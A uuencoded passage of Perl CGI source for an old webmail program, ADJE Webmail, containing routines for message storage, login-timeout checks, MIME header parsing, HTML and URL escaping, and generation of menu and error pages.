9;7D@)&)A<V5N86UE("`@/2`D9FYA;64["@``
:)&)A<V5N86UE("`@/7X@<R]>+BI<+R\O.PH`
M:68@("@@(2@@*"`H)&9O<FUA="`]?B`O=&5X=%PO<&QA:6XO:2D@?'P@*"1F
M;W)M870@/7X@+UYM97-S86=E7"\O:2D@*2`F)B`H)&)A<V5N86UE(#U^("]>
4*&US9RU\;6U<+BDO*2`I("D@>PH`
&;&%S=#L*
"?0H`
"?0H`
==VAI;&4@*"`D:2`\("0C;7-G7W!A<G1S("D@>PH`
8<'5S:"!`871T86-H961?<&%R=',L('L*
B1D]234%4(#T^("1M<V=?<&%R='-;)&E=>T9/4DU!5'TL"@``
F1DE,14Y!344@/3X@)&US9U]P87)T<ULD:5U[1DE,14Y!345]+`H`
#?3L*
&)&DK*SL*
"?0H`
8<F5T=7)N($!A='1A8VAE9%]P87)T<SL*
"?0H`
><W5B(')E861?;65S<V%G97-?9G)O;5]D:7-K('L*
4;7D@*"1M<V=F:6QE*2`]($!?.PH`
-;7D@0&US9W,]*"D["@``
*;&]C86P@)%\["@``
3:68@*"UF("1M<V=F:6QE*2!["@``
6;W!E;BA&2"PB/"1M<V=F:6QE(BD["@``
38VAO;7`H0&US9W,]/$9(/BD["@``
+8VQO<V4H1D@I.PH`
"?0H`
/<F5T=7)N*$!M<V=S*3L*
"?0H`
=<W5B('=R:71E7VUE<W-A9V5S7W1O7V1I<VL@>PH`
<;7D@*"1M<V=F:6QE+"1M<V=R968I(#T@0%\["@``
*;&]C86P@)%\["@``
5;7D@0&US9W,@/2!`)&US9W)E9CL*
6;W!E;BA&2"PB/B1M<V=F:6QE(BD["@``
.9F]R("A`;7-G<RD@>PH`
1<')I;G0@1D@@(B1?7&XB.PH`
"?0H`
+8VQO<V4H1D@I.PH`
"?0H`
2<W5B(&-H96-K7VQO9VEN('L*
M;7D@*"1L86YG+"1C;VQO<G,L)'5S97)?9&ER;F%M92PD=&EM96]U="D@/2!`
#7SL*
.;7D@)4P])21L86YG.PH`
0;7D@)4,])21C;VQO<G,["@``
D;7D@)&9N86UE(#T@(B1U<V5R7V1I<FYA;64O:7`N='AT(CL*
*;&]C86P@)%\["@``
M;7D@)&QA<W1?;6]D7W-E8R`]("@M32`D9FYA;64I("H@,S8P,"XP("H@,C0N
#,#L*
D;7D@)'1I;65O=71?<V5C<R`]("1T:6UE;W5T("H@-C`N,#L*
M:68@*"`H(2`M92`D9FYA;64I('Q\("@D;&%S=%]M;V1?<V5C(#X@)'1I;65O
-=71?<V5C<RD@*2!["@``
H;7D@)'1I=&QE(#T@)$Q[)T5R<F]R.B!,;V=I;B!%>'!I<F5D)WT["@``
M;7D@)&5R<FUS9R`@(#T@(B1T:6UE;W5T("1,>R=L;V=I;G1I;65O=70G?2([
!"@``
E<')I;G0@(D-O;G1E;G0M='EP93H@=&5X="]H=&UL7&Y<;B(["@``
0<')I;G0\/$A%4D5$3T,["@``
'/&AT;6P^"@``
'/&AE860^"@``
M/$U%5$$@8V]N=&5N=#TB=&5X="]H=&UL.R!C:&%R<V5T/21,>T-(05)3151]
;(B!H='1P+65Q=6EV/4-O;G1E;G0M5'EP93X*
6/'1I=&QE/B1T:71L93PO=&ET;&4^"@``
(/"]H96%D/@H`
M/&)O9'D@8F=C;VQO<CTD0WM"1U]72$E417T@3$E.2STD0WM,24Y+?2!!3$E.
=2STD0WM!3$E.2WT@5DQ)3DL])$-[5DQ)3DM]/@H`
M/'1A8FQE(&-E;&QP861D:6YG/2(T(B!C96QL<W!A8VEN9STB,B(@=VED=&@]
((C$P,"4B/@H`
:/&9O<FT@86-T:6]N/2)I;F1E>"YC9VDB/@H`
%/'1R/@H`
M/'1D(&)G8V]L;W(])$-[0D=?4%524$Q%?3X\:6YP=70@='EP93TB<W5B;6ET
=(B!V86QU93TB)$Q[)TQO9R!);B=](CX\+W1D/@H`
M/'1D(&)G8V]L;W(])$-[0D=?3U)!3D=%?2!W:61T:#TB.3`E(B!A;&EG;CTB
)8V5N=&5R(CX*
M/&9O;G0@9F%C93TB87)I86PL:&5L=F5T:6-A(B!C;VQO<CTD0WM415A47T),
K04-+?2!S:7IE/30^/'-T<F]N9SXD=&ET;&4\+W-T<F]N9SX\+V9O;G0^"@``
&/"]T9#X*
M/'1D(&)G8V]L;W(])$-[0D=?4%524$Q%?3X\:6YP=70@='EP93TB<W5B;6ET
=(B!V86QU93TB)$Q[)TQO9R!);B=](CX\+W1D/@H`
&/"]T<CX*
(/"]F;W)M/@H`
%/'1R/@H`
0/'1D/B9N8G-P.SPO=&0^"@``
0/'1D/B9N8G-P.SPO=&0^"@``
0/'1D/B9N8G-P.SPO=&0^"@``
&/"]T<CX*
%/'1R/@H`
0/'1D/B9N8G-P.SPO=&0^"@``
M/'1D(&%L:6=N/6-E;G1E<CX\9F]N="!F86-E/2)A<FEA;"QH96QV971I8V$B
M(&-O;&]R/21#>U1%6%1?0DQ!0TM]/CQS=')O;F<^)&5R<FUS9SPO<W1R;VYG
./CPO9F]N=#X\+W1D/@H`
0/'1D/B9N8G-P.SPO=&0^"@``
&/"]T<CX*
)/"]T86)L93X*
(/"]F;W)M/@H`
$/'`^"@``
(2$52141/0PH`
F;7D@)&QA<W1A9"`]("9P<FEN=%]A9"@M.3DL(F-E;G1E<B(I.PH`
M)G!R:6YT7V)O='1O;5]L:6YK<R@D=7-E<E]D:7)N86UE+")#3U!94DE'2%1/
/3DQ9(BQ<)4,L7"5,*3L*
0<')I;G0\/$A%4D5$3T,["@``
(/"]B;V1Y/@H`
(/"]H=&UL/@H`
(2$52141/0PH`
)97AI="@P*3L*
"?0H`
5;W!E;BA)1D@L(CPD9FYA;64B*3L*
38VAO;7`H)%\@/2`\249(/BD["@``
,8VQO<V4H249(*3L*
C*"1%3E9[4D5-3U1%7T%$1%)](&YE("1?*2`F)B!E>&ET.PH`
1;7D@)'1I;64@/2!T:6UE.PH`
G*"1F;F%M92`]?B`O7B@N*RDD+RD@)B8@*"1F;F%M92`]("0Q*3L*
J*"UE("1F;F%M92D@)B8@=71I;64H)'1I;64L)'1I;64L)&9N86UE*3L*
7?2`C(&5N9"!O9B!C:&5C:U]L;V=I;@H`
4<W5B(&=E=%]M<V=?9FEL97,@>PH`
0;7D@*"1R96,I(#T@0%\["@``
?;7D@0&9I96QD<R`]('-P;&ET*"]<?"\L)')E8RD["@``
-;7D@*$!F:6QE<RD["@``
99F]R96%C:"`D9FQD("A`9FEE;&1S*2!["@``
::68@*"`D9FQD("%^("]>5D%27"\O("D@>PH`
D*"1D97-C+"1F;F%M92D@/2!S<&QI="@O.B\L)&9L9"PR*3L*
5<'5S:"A`9FEL97,L)&9N86UE*3L*
"?0H`
"?0H`
/<F5T=7)N($!F:6QE<SL*
"?0H`
1<W5B(&=E=%]M<V=P;W,@>PH`
8;7D@*"1M<V=N;RQ`<F5C<RD@/2!`7SL*
.;7D@)&US9W!O<STQ.PH`
);7D@)&D],#L*
L=VAI;&4@*"`H)&D@/"`D;7-G;F\I("8F("@D:2`\/2`D(W)E8W,I("D@>PH`
M*"1R96-S6R1I72`A?B`O7'Q605)<+U-4051%.D1%3$5415Q\+RD@)B8@*"1M
*<V=P;W,K*RD["@``
&)&DK*SL*
"?0H`
0<F5T=7)N("1M<V=P;W,["@``
"?0H`
1<W5B(&=E=%]M<V=T;W0@>PH`
3;7D@*"1M<V=R968I(#T@0%\["@``
5;7D@0&US9W,@/2!`)&US9W)E9CL*
-;7D@)'1O="`](#`["@``
*;&]C86P@)%\["@``
.9F]R("A`;7-G<RD@>PH`
H*"$O7'Q605)<+U-4051%.D1%3$5415Q\+RD@)B8@*"1T;W0K*RD["@``
"?0H`
-<F5T=7)N("1T;W0["@``
"?0H`
9<W5B(&=E=%]M97-S86=E7W-T871E<R!["@``
3;7D@*"1M<V=R968I(#T@0%\["@``
*;&]C86P@)%\["@``
6;7D@*"5H87-H+"1K97DL)'9A;"D["@``
59F]R96%C:"`H0"1M<V=R968I('L*
B)&ME>2`]("9G971?9FEE;&0H7"1?+%PG5D%2+TE$)RD["@``
E)'9A;"`]("9G971?9FEE;&0H7"1?+%PG5D%2+U-4051%)RD["@``
4)&AA<VA[)&ME>7T@/2`D=F%L.PH`
"?0H`
-<F5T=7)N("5H87-H"@``
"?0H`
9<W5B(&=E=%]M97-S86=E7V9N86UE<R!["@``
3;7D@*"1M<V=R968I(#T@0%\["@``
*;&]C86P@)%\["@``
6;7D@*"5H87-H+"1K97DL)'9A;"D["@``
59F]R96%C:"`H0"1M<V=R968I('L*
B)&ME>2`]("9G971?9FEE;&0H7"1?+%PG5D%2+TE$)RD["@``
C)'9A;"`]("9G971?9FEE;&0H7"1?+%PG04Q,+T%,3"<I.PH`
4)&AA<VA[)&ME>7T@/2`D=F%L.PH`
"?0H`
-<F5T=7)N("5H87-H"@``
"?0H`
.<W5B(')E8W9A<G,@>PH`
2;7D@)6AE861E<G,@/2!`7SL*
J;7D@)')E8R`@/2`B5D%2+TE$.B1H96%D97)S>TU%4U-!1T5)1'U\(CL*
=)')E8R`N/2`B5D%2+U-4051%.E5.4D5!1'PB.PH`
J)')E8R`N/2`B5D%2+U-50DI%0U0Z)&AE861E<G-[4U5"2D5#5'U\(CL*
L)')E8R`N/2`B5D%2+T923TU.04U%.B1H96%D97)S>T923TU.04U%?7PB.PH`
M)')E8R`N/2`B5D%2+T923TU#3TU-14Y4.B1H96%D97)S>T923TU#3TU-14Y4
%?7PB.PH`
J)')E8R`N/2`B5D%2+T923TU!1$0Z)&AE861E<G-[1E)/34%$1'U\(CL*
J)')E8R`N/2`B5D%2+U)43TY!344Z)&AE861E<G-[4E1/3D%-17U\(CL*
H)')E8R`N/2`B5D%2+U)43T%$1#HD:&5A9&5R<WM25$]!1$1]?"(["@``
M)')E8R`N/2`B5D%2+U)43T-/34U%3E0Z)&AE861E<G-[4E1/0T]-345.5'U\
#(CL*
D)')E8R`N/2`B5D%2+T1!5$4Z)&AE861E<G-[1$%417U\(CL*
F)')E8R`N/2`B5D%2+T1!64U/.B1H96%D97)S>T1!64U/?7PB.PH`
M)')E8R`N/2`B5D%2+TU%4U-!1T5325I%.B1H96%D97)S>TU%4U-!1T5325I%
%?7PB.PH`
"?0H`
3<W5B(&1A=&5?-%]I;F)O>"!["@``
1;7D@*"1D871E*2`]($!?.PH`
2;7D@*"1D87DL)&UO;G1H*3L*
M*"1D871E(#U^("\H7&1<9#\I("LH6T$M6F$M>ETK*2\I("8F("@D9&%Y(#T@
4)#$I("8F("@D;6]N=&@])#(I.PH`
H*&QE;F=T:"@D9&%Y*2`\(#(I("8F("@D9&%Y(#T@(C`D9&%Y(BD["@``
;)&1A=&4@/2`B)'MM;VYT:'U?)'MD87E](CL*
"?0H`
4<W5B(&9R965?9FEL96YA;64@>PH`
2;7D@*"1F;F%M92D@/2!`7SL*
);7D@)&D],3L*
6=VAI;&4@*"`M92`D9FYA;64@*2!["@``
6)&9N86UE(#U^(',O7&0J)"\D:2\["@``
&*RLD:3L*
"?0H`
/<F5T=7)N("1F;F%M93L*
"?0H`
5<W5B(')E;&%T:79E7VUS9VYO('L*
K;7D@*"1M<V=N;RPD<F5L871I=F5?<&]S:71I;VXL0')E8W,I(#T@0%\["@``
7;7D@)&US9VYO7VEN(#T@)&US9VYO.PH`
D:68@*"`H)"-R96-S(#P@,"D@?'P@*"1M<V=N;R`\(#`I("D*
3>R!R971U<FX@+3$P,#`P.R!]"@``
D:68@*"1R96QA=&EV95]P;W-I=&EO;B!E<2`B3D585"(I('L*
*)&US9VYO*RL["@``
M=VAI;&4@*"@D;7-G;F\@/#T@)"-R96-S*2`F)B`H)')E8W-;)&US9VYO72`]
>?B`O7'Q605)<+U-4051%.D1%3$5415Q\+RDI('L*
*)&US9VYO*RL["@``
"?0H`
8:68@*"1M<V=N;R`\/2`D(W)E8W,I('L*
5)')T;E]M<V=N;R`]("1M<V=N;SL*
)?2!E;'-E('L*
;)')T;E]M<V=N;R`]("(M)&US9VYO7VEN(CL*
"?0H`
"?0H`
D:68@*"1R96QA=&EV95]P;W-I=&EO;B!E<2`B4%)%5B(I('L*
*)&US9VYO+2T["@``
M=VAI;&4@*"@D;7-G;F\@/CT@,"D@)B8@*"1R96-S6R1M<V=N;UT@/7X@+UQ\
95D%27"]35$%413I$14Q%5$5<?"\I*2!["@``
*)&US9VYO+2T["@``
"?0H`
3:68@*"1M<V=N;R`^/2`P*2!["@``
5)')T;E]M<V=N;R`]("1M<V=N;SL*
)?2!E;'-E('L*
;)')T;E]M<V=N;R`]("(M)&US9VYO7VEN(CL*
"?0H`
"?0H`
3<F5T=7)N("1R=&Y?;7-G;F\["@``
"?0H`
8<W5B('!R:6YT7V)A8VM?97)R;7-G('L*
H;7D@*"1L86YG+"1C;VQO<G,L)'1I=&QE+"1E<G)M<V<I(#T@0%\["@``
.;7D@)4P])21L86YG.PH`
0;7D@)4,])21C;VQO<G,["@``
E<')I;G0@(D-O;G1E;G0M='EP93H@=&5X="]H=&UL7&Y<;B(["@``
0<')I;G0\/$A%4D5$3T,["@``
'/&AT;6P^"@``
'/&AE860^"@``
M/$U%5$$@8V]N=&5N=#TB=&5X="]H=&UL.R!C:&%R<V5T/21,>T-(05)3151]
;(B!H='1P+65Q=6EV/4-O;G1E;G0M5'EP93X*
6/'1I=&QE/B1T:71L93PO=&ET;&4^"@``
(/"]H96%D/@H`
M/&)O9'D@8F=C;VQO<CTD0WM"1U]72$E417T@;&EN:STD0WM,24Y+?2!A;&EN
=:STD0WM!3$E.2WT@=FQI;FL])$-[5DQ)3DM]/@H`
M/'1A8FQE(&-E;&QP861D:6YG/2(T(B!C96QL<W!A8VEN9STB,B(@=VED=&@]
((C$P,"4B/@H`
%/'1R/@H`
J/'1D(&)G8V]L;W(])$-[0D=?3U)!3D=%?2!A;&EG;CTB8V5N=&5R(CX*
M/&9O;G0@9F%C93TB87)I86PL:&5L=F5T:6-A(B!C;VQO<CTD0WM415A47T),
/04-+?2!S:7IE/2(T(CX*
8/'-T<F]N9SXD=&ET;&4\+W-T<F]N9SX*
(/"]F;VYT/@H`
&/"]T9#X*
&/"]T<CX*
)/"]T86)L93X*
$/'`^"@``
)/&-E;G1E<CX*
M/&9O;G0@9F%C93TB87)I86PL:&5L=F5T:6-A(B!C;VQO<CTD0WM415A47T),
&04-+?3X*
//&(^)&5R<FUS9SPO8CX*
(/"]F;VYT/@H`
$/'`^"@``
'/&9O<FT^"@``
M/&EN<'5T('1Y<&4](F)U='1O;B(@3VY#;&EC:STB:&ES=&]R>2YB86-K*"DB
5('9A;'5E/2(D3'LG0F%C:R=](CX*
(/"]F;W)M/@H`
*/"]C96YT97(^"@``
(/"]B;V1Y/@H`
(/"]H=&UL/@H`
(2$52141/0PH`
"?0H`
3<W5B('!R:6YT7V5R<FUS9R!["@``
C;7D@*"1L86YG+"1C;VQO<G,L)&-O<'EO;FQY*2`]($!?.PH`
.;7D@)4P])21L86YG.PH`
0;7D@)4,])21C;VQO<G,["@``
E<')I;G0@(D-O;G1E;G0M='EP93H@=&5X="]H=&UL7&Y<;B(["@``
0<')I;G0\/$A%4D5$3T,["@``
'/&AT;6P^"@``
'/&AE860^"@``
M/$U%5$$@8V]N=&5N=#TB=&5X="]H=&UL.R!C:&%R<V5T/21,>T-(05)3151]
;(B!H='1P+65Q=6EV/4-O;G1E;G0M5'EP93X*
K/'1I=&QE/B1,>R=796)M86EL($5R<F]R($UE<W-A9V4G?3PO=&ET;&4^"@``
(/"]H96%D/@H`
M/&)O9'D@8F=C;VQO<CTD0WM"1U]72$E417T@3$E.2STD0WM,24Y+?2!!3$E.
=2STD0WM!3$E.2WT@5DQ)3DL])$-[5DQ)3DM]/@H`
M/'1A8FQE(&-E;&QP861D:6YG/2(T(B!C96QL<W!A8VEN9STB,B(@=VED=&@]
((C$P,"4B/@H`
:/&9O<FT@86-T:6]N/2)I;F1E>"YC9VDB/@H`
%/'1R/@H`
M/'1D(&)G8V]L;W(])$-[0D=?4%524$Q%?3X\:6YP=70@='EP93TB<W5B;6ET
=(B!V86QU93TB)$Q[)TQO9R!);B=](CX\+W1D/@H`
M/'1D(&)G8V]L;W(])$-[0D=?3U)!3D=%?2!W:61T:#TB.3`E(B!A;&EG;CTB
)8V5N=&5R(CX*
M/&9O;G0@9F%C93TB87)I86PL:&5L=F5T:6-A(B!C;VQO<CTD0WM415A47T),
/04-+?2!S:7IE/2(T(CX*
K/'-T<F]N9SXD3'LG17)R;W(Z($QO9VEN($9A:6QE9"=]/"]S=')O;F<^"@``
(/"]F;VYT/@H`
&/"]T9#X*
M/'1D(&)G8V]L;W(])$-[0D=?4%524$Q%?3X\:6YP=70@='EP93TB<W5B;6ET
=(B!V86QU93TB)$Q[)TQO9R!);B=](CX\+W1D/@H`
&/"]T<CX*
%/'1R/@H`
0/'1D/B9N8G-P.SPO=&0^"@``
0/'1D/B9N8G-P.SPO=&0^"@``
0/'1D/B9N8G-P.SPO=&0^"@``
&/"]T<CX*
%/'1R/@H`
0/'1D/B9N8G-P.SPO=&0^"@``
M/'1D(&%L:6=N/6-E;G1E<CX\9F]N="!F86-E/2)A<FEA;"QH96QV971I8V$B
M(&-O;&]R/21#>U1%6%1?0DQ!0TM]/CQS=')O;F<^)$Q[)VQO9VEN97)R;7-G
8)WT\+W-T<F]N9SX\+V9O;G0^/"]T9#X*
0/'1D/B9N8G-P.SPO=&0^"@``
&/"]T<CX*
'/&9O<FT^"@``
)/"]T86)L93X*
(2$52141/0PH`
C;7D@)'1M<"`]("9P<FEN=%]A9"@M.3DL(F-E;G1E<B(I.PH`
0<')I;G0\/$A%4D5$3T,["@``
(/"]B;V1Y/@H`
(/"]H=&UL/@H`
(2$52141/0PH`
G?2`C(&5N9"!O9B!P<FEN=%]E<G)M<V<@<W5B<F]U;G1I;F4N+BX*
5<W5B('!R:6YT7W1O<%]M96YU('L*
M;7D@*"1T:71L92PD=7-E<E]D:7)N86UE+"1L86YG+"1C;VQO<G,I(#T@0%\[
!"@``
.;7D@)4P])21L86YG.PH`
0;7D@)4,])21C;VQO<G,["@``
L*&UY("1U<V5R;F%M92`]("1U<V5R7V1I<FYA;64I(#U^(',O+BI<+R\O.PH`
M;7D@)&EN/2(\;W!T:6]N('9A;'5E/5PB<&]P;7-G<UPB/B1,>R=);F-O;6EN
/9R!-97-S86=E<R=](CL*
M;7D@)&]U=#TB/&]P=&EO;B!V86QU93U<(G-E;G1M<V=S7"(^)$Q[)U-A=F5D
7($]U=&=O:6YG($UE<W-A9V5S)WTB.PH`
M:68@*"UF("(D=7-E<E]D:7)N86UE+T%$2D5314Y41D],1$5204-4259%+G1X
&="(I('L*
7)&QI;F4Q(#T@(B1O=70D=&ET;&4B.PH`
.)&QI;F4R(#T@)&EN.PH`
)?2!E;'-E('L*
6)&QI;F4Q(#T@(B1I;B1T:71L92(["@``
/)&QI;F4R(#T@)&]U=#L*
"?0H`
0<')I;G0\/$A%4D5$3T,["@``
?/'-C<FEP="!L86YG=6%G93TB:F%V87-C<FEP="(^"@``
%/"$M+0H`
:9G5N8W1I;VX@8VAA;F=E9F]L9&5R*"D@>PH`
M=F%R(&EN9&5X/61O8W5M96YT+F9O;&1E<G-E;&5C="YT;V)O>"YS96QE8W1E
'9$EN9&5X"@``
M=F%R('9A;"`](&1O8W5M96YT+F9O;&1E<G-E;&5C="YT;V)O>"YO<'1I;VYS
.6VEN9&5X72YV86QU90H`
B9&]C=6UE;G0N;6%I;&)O>"Y&3TQ$15(N=F%L=64]=F%L"@``
:9&]C=6UE;G0N;6%I;&)O>"YS=6)M:70H*0H`
"?0H`
&+R\M+3X*
*/"]S8W)I<'0^"@``
M/'1A8FQE(&-E;&QP861D:6YG/2(T(B!C96QL<W!A8VEN9STB,B(@=VED=&@]
((C$P,"4B/@H`
%/'1R/@H`
M/&9O<FT@;F%M93TB;6%I;&)O>"(@;65T:&]D/2)03U-4(B!A8W1I;VX](FEN
*8F]X+F-G:2(^"@``
J/'1D(&%L:6=N/2)C96YT97(B(&)G8V]L;W(])$-[0D=?4%524$Q%?3X*
M/&EN<'5T('1Y<&4](G-U8FUI="(@=F%L=64](B1,>R=-86EL($)O>"=](CX*
M/&EN<'5T('1Y<&4](FAI9&1E;B(@;F%M93TB55-%4DY!344B("`@=F%L=64]
-(B1U<V5R;F%M92(^"@``
M/&EN<'5T('1Y<&4](FAI9&1E;B(@;F%M93TB1D],1$52(B!V86QU93TB;F]C
(:&%N9V4B/@H`
M/&EN<'5T('1Y<&4](FAI9&1E;B(@;F%M93TB04-424].(B!V86QU93TB;6%I
';&)O>"(^"@``
&/"]T9#X*
(/"]F;W)M/@H`
J/&9O<FT@;65T:&]D/2)03U-4(B!A8W1I;VX](F-O;7!O<V4N8V=I(CX*
J/'1D(&%L:6=N/2)C96YT97(B(&)G8V]L;W(])$-[0D=?4%524$Q%?3X*
L/&EN<'5T('1Y<&4](G-U8FUI="(@=F%L=64](B1,>R=#;VUP;W-E)WTB/@H`
M/&EN<'5T('1Y<&4](FAI9&1E;B(@;F%M93TB55-%4DY!344B("`@=F%L=64]
-(B1U<V5R;F%M92(^"@``
M/&EN<'5T('1Y<&4](FAI9&1E;B(@;F%M93TB04-424].(B`@("`@=F%L=64]
/(DYE=R!-97-S86=E(CX*
&/"]T9#X*
(/"]F;W)M/@H`
M/&9O<FT@;65T:&]D/2)03U-4(B!A8W1I;VX](F5D:71A9&1B;V]K+F-G:2(^
!"@``
J/'1D(&%L:6=N/2)C96YT97(B(&)G8V]L;W(])$-[0D=?4%524$Q%?3X*
M/&EN<'5T('1Y<&4](G-U8FUI="(@=F%L=64](B1,>R=!9&1R97-S97,G?2(^
!"@``
M/&EN<'5T('1Y<&4](FAI9&1E;B(@;F%M93TB55-%4DY!344B("`@=F%L=64]
-(B1U<V5R;F%M92(^"@``
&/"]T9#X*
(/"]F;W)M/@H`
;/&9O<FT@;F%M93TB9F]L9&5R<V5L96-T(CX*
M/'1D('=I9'1H/2(Y-24B(&)G8V]L;W(])$-[0D=?3U)!3D=%?2!A;&EG;CTB
)8V5N=&5R(CX*
M/'-E;&5C="!N86UE/2)T;V)O>"(@;VYC:&%N9V4](F-H86YG969O;&1E<B@I
#(CX*
')&QI;F4Q"@``
')&QI;F4R"@``
*/"]S96QE8W0^"@``
&/"]T9#X*
(/"]F;W)M/@H`
I/&9O<FT@;65T:&]D/2)03U-4(B!A8W1I;VX](FQO9V]U="YC9VDB/@H`
J/'1D(&%L:6=N/2)C96YT97(B(&)G8V]L;W(])$-[0D=?4%524$Q%?3X*
L/&EN<'5T('1Y<&4](G-U8FUI="(@=F%L=64](B1,>R=,;V<@3W5T)WTB/@H`
M/&EN<'5T('1Y<&4](FAI9&1E;B(@;F%M93TB55-%4DY!344B("`@=F%L=64]
-(B1U<V5R;F%M92(^"@``
&/"]T9#X*
(/"]F;W)M/@H`
&/"]T<CX*
)/"]T86)L93X*
(2$52141/0PH`
"?0H`
4<W5B('5N97-C87!E7VAT;6P@>PH`
6;7DH)'1O=6YE;F-O9&4I(#T@0%\["@``
:)'1O=6YE;F-O9&4]?G,O)F%M<#LO)B]G.PH`
<)'1O=6YE;F-O9&4]?G,O)G%U;W0[+UPB+V<["@``
9)'1O=6YE;F-O9&4]?G,O)F=T.R\^+V<["@``
9)'1O=6YE;F-O9&4]?G,O)FQT.R\\+V<["@``
4<F5T=7)N("1T;W5N96YC;V1E.PH`
"?0H`
2<W5B(&5S8V%P95]H=&UL('L*
4;7DH)'1O96YC;V1E*2`]($!?.PH`
?(61E9FEN960H)'1O96YC;V1E*2`F)B!R971U<FX["@``
8)'1O96YC;V1E/7YS+R8O)F%M<#LO9SL*
:)'1O96YC;V1E/7YS+UPB+R9Q=6]T.R]G.PH`
7)'1O96YC;V1E/7YS+SXO)F=T.R]G.PH`
7)'1O96YC;V1E/7YS+SPO)FQT.R]G.PH`
2<F5T=7)N("1T;V5N8V]D93L*
"?0H`
3<W5B('5N97-C87!E7W5R;"!["@``
4;7DH)'1O9&5C;V1E*2`]($!?.PH`
6)'1O9&5C;V1E(#U^('1R+RLO("\["@``
M)'1O9&5C;V1E(#U^(',O)2A;,"TY82UF02U&77LR?2DO<&%C:R@B8R(L:&5X
**"0Q*2DO9V4["@``
2<F5T=7)N("1T;V1E8V]D93L*
"?0H`
1<W5B(&5S8V%P95]U<FP@>PH`
4;7DH)'1O96YC;V1E*2`]($!?.PH`
<(21T;V5N8V]D92`F)B!R971U<FX@=6YD968["@``
M)'1O96YC;V1E/7YS+RA;7F$M>D$M6C`M.5]<+2Y=*2]U8R!S<')I;G1F*"(E
4)24P,G@B+&]R9"@D,2DI+V5G.PH`
2<F5T=7)N("1T;V5N8V]D93L*
"?0H`
2<W5B(&=E=%]H96%D97)S('L*
5;7D@*$!H96%D;&EN97,I/2!`7SL*
<;7D@)&AE860@/2!-24U%.CI(96%D+3YN97<["@``
=)&AE860M/F5X=')A8W0H7$!H96%D;&EN97,I.PH`
/)&AE860M/G5N9F]L9#L*
/)&AE860M/F1E8V]D93L*
C;7D@)&1A=&4@("`@/2`D:&5A9"T^9V5T*"=$871E.B<I.PH`
A;7D@)&-C("`@("`@/2`D:&5A9"T^9V5T*"=#8SHG*3L*
F;7D@)'-U8FIE8W0@/2`D:&5A9"T^9V5T*"=3=6)J96-T.B<I.PH`
A;7D@)'1O("`@("`@/2`D:&5A9"T^9V5T*"=4;SHG*3L*
C;7D@)&9R;VT@("`@/2`D:&5A9"T^9V5T*"=&<F]M.B<I.PH`
G;7D@)')E<&QY=&\@/2`D:&5A9"T^9V5T*"=297!L>2U4;SHG*3L*
6(21D871E("8F("@D9&%T93TG)RD["@``
2(21C8R`F)B`H)&-C/2<G*3L*
<(21S=6)J96-T("8F("@D<W5B:F5C=#TG)RD["@``
2(21T;R`F)B`H)'1O/2<G*3L*
6(21F<F]M("8F("@D9G)O;3TG)RD["@``
<(21R97!L>71O("8F("@D<F5P;'ET;STG)RD["@``
0;7D@)6AE861E<G,@/2`H"@``
74U5"2D5#5"`@(#T^("1S=6)J96-T+`H`
25$\@("`@("`@(#T^("1T;RP*
41E)/32`@("`@(#T^("1F<F]M+`H`
74D503%E43R`@(#T^("1R97!L>71O+`H`
20T,@("`@("`@(#T^("1C8RP*
41$%412`@("`@(#T^("1D871E+`H`
#*3L*
@9F]R96%C:"`D:V5Y("AK97ES*"5H96%D97)S*2D@>PH`
B(61E9FEN960H)&AE861E<G-[)&ME>7TI("8F(&YE>'0["@``
;)&AE861E<G-[)&ME>7T@/7X@<R]>("LO+SL*
=)&AE861E<G-[)&ME>7T@/7X@<R]<<C]<;B\O.PH`
;)&AE861E<G-[)&ME>7T@/7X@<R\@*R0O+SL*
"?0H`
D;7D@*"1N86UE+"1A9&0L)&-O;6TI(#T@*"<G+"<G+"<G*3L*
M*"1N86UE+"1A9&0L)&-O;6TI(#T@)G!A<G-E7V5M86EL7V%D9')E<W,H)&AE
.861E<G-[1E)/37TI.PH`
>)&AE861E<G-[1E)/34%$1'T@("`@(#T@)&%D9#L*
?)&AE861E<G-[1E)/34Y!345]("`@(#T@)&YA;64["@``
?)&AE861E<G-[1E)/34-/34U%3E1](#T@)&-O;6T["@``
A*"1N86UE+"1A9&0L)&-O;6TI(#T@*"<G+"<G+"<G*3L*
M*"1N86UE+"1A9&0L)&-O;6TI(#T@)G!A<G-E7V5M86EL7V%D9')E<W,H)&AE
1861E<G-[4D503%E43WTI.PH`
=)&AE861E<G-[4E1/041$?2`@("`@/2`D861D.PH`
>)&AE861E<G-[4E1/3D%-17T@("`@/2`D;F%M93L*
>)&AE861E<G-[4E1/0T]-345.5'T@/2`D8V]M;3L*
M)&AE861E<G-[1$%934]]("`@("`@(#T@)F1A=&5?-%]I;F)O>"@D:&5A9&5R
*<WM$051%?2D["@``
1<F5T=7)N("5H96%D97)S.PH`
B?2`C(&5N9"!S=6)R;W5T:6YE(&=E=%]H96%D97)S+BXN"@``
9<W5B('!R:6YT7V)O='1O;5]L:6YK<R!["@``
M;7D@*"1U<V5R7V1I<FYA;64L)&-O<'EO;FQY+"1C;VQO<G,L)&QA;F<I(#T@
$0%\["@``
0;7D@)4,])21C;VQO<G,["@``
.;7D@)4P])21L86YG.PH`
3;7D@)5`])F=E=%]P87)A;7,["@``
M<')I;G0@(CQF;VYT(&9A8V4]7")A<FEA;"QH96QV971I8V%<(B!C;VQO<CTD
30WM415A47T),04-+?3Y<;B(["@``
4:68@*"9I<U]L:6-E;G-E9"D@>PH`
0<')I;G0\/$A%4D5$3T,["@``
./&9O;G0@<VEZ93TQ/@H`
$/'`^"@``
M041*12!796)M86EL(%9E<G-I;VX@)%![5D524TE/3GT@)F-O<'D[(#$Y.3@L
M,3DY.2PR,#`P(#QA(&AR968](FAT='`Z+R]W=W<N861J97=E8BYC;VTB/D%$
M2D4L($Q,0SPO83XN($%L;"!2:6=H=',@4F5S97)V960N(#QB/D1)4T-,04E-
M15(Z/"]B/B!5<V4@=&AI<R!S;V9T=V%R92!A;F0@=&AE(&%S<V]C:6%T960@
<=V5B('!A9V5S(&%T('EO=7(@;W=N(')I<VLN"@``
(/"]F;VYT/@H`
(2$52141/0PH`
)?2!E;'-E('L*
0<')I;G0\/$A%4D5$3T,["@``
(/'-M86QL/@H`
$/'`^"@``
M041*12!796)M86EL(%9E<G-I;VX@)%![5D524TE/3GT@)F-O<'D[(#$Y.3@L
M,3DY.2PR,#`P($%$2D4L($Q,0R`H5&AE($5D9V4I+B!!;&P@4FEG:'1S(%)E
M<V5R=F5D+B`\8CY$25-#3$%)3452.CPO8CX@57-E('1H:7,@<V]F='=A<F4@
M86YD('1H92!A<W-O8VEA=&5D('=E8B!P86=E<R!A="!Y;W5R(&]W;B!R:7-K
